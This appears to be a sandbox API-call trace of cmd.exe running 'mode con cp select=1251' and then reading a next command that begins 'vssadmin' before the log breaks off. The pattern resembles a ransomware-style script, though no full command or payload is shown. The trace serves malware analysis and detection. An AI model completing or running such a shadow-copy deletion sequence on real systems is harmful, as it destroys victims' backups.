_wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0129.741] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0129.741] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0129.741] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0129.741] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0129.741] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0129.741] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0129.741] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0129.741] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0129.742] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0129.742] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0129.742] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0129.742] ??_V@YAXPEAX@Z () returned 0x1 [0129.742] GetProcessHeap () returned 0x218d4280000 [0129.742] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xffde) returned 0x218d4288e90 [0129.742] GetProcessHeap () returned 0x218d4280000 [0129.742] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x42) returned 0x218d4287880 [0129.743] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0129.743] malloc (_Size=0xffce) returned 0x218d44b0820 [0129.743] ??_V@YAXPEAX@Z () returned 0x218d44b0820 [0129.743] GetProcessHeap () returned 0x218d4280000 [0129.743] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1ffac) returned 0x218d4298e80 [0129.744] SetErrorMode (uMode=0x0) returned 0x0 [0129.744] SetErrorMode (uMode=0x1) returned 0x0 [0129.744] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x218d4298e90, lpFilePart=0x1ed00ff050 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x1ed00ff050*="system32") returned 0x13 [0129.744] SetErrorMode (uMode=0x0) returned 0x1 [0129.744] GetProcessHeap () returned 0x218d4280000 [0129.744] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d4298e80, Size=0x42) returned 0x218d4298e80 [0129.744] GetProcessHeap () returned 0x218d4280000 [0129.744] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d4298e80) returned 0x42 [0129.744] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0129.744] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0129.744] GetProcessHeap () returned 0x218d4280000 [0129.744] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1b6) returned 0x218d42878d0 [0129.744] GetProcessHeap () returned 0x218d4280000 [0129.744] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x35c) returned 0x218d4298ee0 [0129.753] GetProcessHeap () returned 0x218d4280000 [0129.753] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d4298ee0, Size=0x1b8) returned 0x218d4298ee0 [0129.753] GetProcessHeap () returned 0x218d4280000 [0129.753] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d4298ee0) returned 0x1b8 [0129.753] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0129.753] GetProcessHeap () returned 0x218d4280000 [0129.753] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xe8) returned 0x218d42990b0 [0129.754] GetProcessHeap () returned 0x218d4280000 [0129.754] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d42990b0, Size=0x7e) returned 0x218d42990b0 [0129.754] GetProcessHeap () returned 0x218d4280000 [0129.754] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d42990b0) returned 0x7e [0129.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1ed00fedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ed00fedc0) returned 0x218d4299140 [0129.755] GetProcessHeap () returned 0x218d4280000 [0129.755] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x0, Size=0x28) returned 0x218d4286540 [0129.755] FindClose (in: hFindFile=0x218d4299140 | out: hFindFile=0x218d4299140) returned 1 [0129.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x1ed00fedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ed00fedc0) returned 0x218d4299140 [0129.755] GetProcessHeap () returned 0x218d4280000 [0129.755] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d4286540, Size=0x8) returned 0x218d4286540 [0129.755] FindClose (in: hFindFile=0x218d4299140 | out: hFindFile=0x218d4299140) returned 1 [0129.755] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0129.755] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0129.755] ??_V@YAXPEAX@Z () returned 0x1 [0129.755] GetConsoleTitleW (in: lpConsoleTitle=0x1ed00ff340, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0129.756] GetProcessHeap () returned 0x218d4280000 [0129.756] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x21c) returned 0x218d4299140 [0129.756] GetConsoleTitleW (in: lpConsoleTitle=0x218d4299150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0129.757] GetProcessHeap () returned 0x218d4280000 [0129.757] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d4299140, Size=0x8c) returned 0x218d4299140 [0129.757] GetProcessHeap () returned 0x218d4280000 [0129.757] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d4299140) returned 0x8c [0129.757] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0129.759] GetProcessHeap () returned 0x218d4280000 [0129.759] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4299140) returned 1 [0129.759] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ed00ff260, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ed00ff150 | out: lpAttributeList=0x1ed00ff260, lpSize=0x1ed00ff150) returned 1 [0129.759] UpdateProcThreadAttribute (in: lpAttributeList=0x1ed00ff260, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ed00ff13c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ed00ff260, lpPreviousValue=0x0) returned 1 [0129.759] GetStartupInfoW (in: lpStartupInfo=0x1ed00ff1f0 | out: lpStartupInfo=0x1ed00ff1f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0129.759] GetProcessHeap () returned 0x218d4280000 [0129.759] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x20) returned 0x218d4287610 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.759] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0129.760] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0129.760] GetProcessHeap () returned 0x218d4280000 [0129.760] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4287610) returned 1 [0129.760] GetProcessHeap () returned 0x218d4280000 [0129.760] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x12) returned 0x218d4287610 [0129.760] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.760] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0129.760] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.760] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0129.760] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x1ed00ff180*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ed00ff158 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x1ed00ff158*(hProcess=0x98, hThread=0x94, dwProcessId=0xe6c, dwThreadId=0xe70)) returned 1 [0129.769] CloseHandle (hObject=0x94) returned 1 [0129.769] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0129.769] GetProcessHeap () returned 0x218d4280000 [0129.769] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4286570) returned 1 [0129.769] GetEnvironmentStringsW () returned 0x218d4286570* [0129.769] GetProcessHeap () returned 0x218d4280000 [0129.769] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xafe) returned 0x218d4299540 [0129.770] FreeEnvironmentStringsA (penv="=") returned 1 [0129.770] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff9b5560000 [0129.770] GetProcAddress (hModule=0x7ff9b5560000, lpProcName="NtQueryInformationProcess") returned 0x7ff9b56056b0 [0129.770] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x1ed00fe658, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1ed00fe658, ReturnLength=0x0) returned 0x0 [0129.770] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x9fcf297000, lpBuffer=0x1ed00fe690, nSize=0x7a0, lpNumberOfBytesRead=0x1ed00fe650 | out: lpBuffer=0x1ed00fe690*, lpNumberOfBytesRead=0x1ed00fe650*=0x7a0) returned 1 [0129.770] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0130.307] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x1ed00ff0d8 | out: lpExitCode=0x1ed00ff0d8*=0x0) returned 1 [0130.307] CloseHandle (hObject=0x98) returned 1 [0130.307] _vsnwprintf (in: _Buffer=0x1ed00ff2a8, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ed00ff0e8 | out: _Buffer="00000000") returned 8 [0130.307] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0130.307] GetProcessHeap () returned 0x218d4280000 [0130.307] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4299540) returned 1 [0130.307] GetEnvironmentStringsW () returned 0x218d429ab80* [0130.307] GetProcessHeap () returned 0x218d4280000 [0130.307] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb24) returned 0x218d429b6b0 [0130.307] FreeEnvironmentStringsA (penv="=") returned 1 [0130.307] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0130.307] GetProcessHeap () returned 0x218d4280000 [0130.307] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d429b6b0) returned 1 [0130.307] GetEnvironmentStringsW () returned 0x218d429ab80* [0130.308] GetProcessHeap () returned 0x218d4280000 [0130.308] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb24) returned 0x218d429b6b0 [0130.308] FreeEnvironmentStringsA (penv="=") returned 1 [0130.308] GetProcessHeap () returned 0x218d4280000 [0130.308] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4287610) returned 1 [0130.308] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ed00ff260 | out: lpAttributeList=0x1ed00ff260) [0130.308] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0130.706] ??_V@YAXPEAX@Z () returned 0x1 [0130.706] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.706] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0130.706] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.706] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0130.706] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.706] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0130.706] GetConsoleOutputCP () returned 0x4e3 [0131.255] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0131.256] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42990b0) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4298ee0) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42878d0) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4298e80) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4287880) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288e90) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4286500) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4286330) returned 1 [0131.564] GetProcessHeap () returned 0x218d4280000 [0131.564] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42877c0) returned 1 [0131.564] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ed00ff688 | out: _Buffer="\r\n") returned 2 [0131.564] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.564] GetFileType (hFile=0x254) returned 0x3 [0131.564] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.564] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.564] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ed00ff658, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff658*=0x2, lpOverlapped=0x0) returned 1 [0131.564] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0131.564] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x218d4480080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0131.564] _vsnwprintf (in: _Buffer=0x218d4490060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x1ed00ff698 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0131.565] _vsnwprintf (in: _Buffer=0x218d4490086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x1ed00ff698 | out: _Buffer=">") returned 1 [0131.565] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.565] GetFileType (hFile=0x254) returned 0x3 [0131.565] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.565] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0131.565] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1ed00ff688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff688*=0x14, lpOverlapped=0x0) returned 1 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] GetFileType (hFile=0x248) returned 0x3 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.565] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.565] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.565] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.565] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.565] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0131.565] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.565] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] 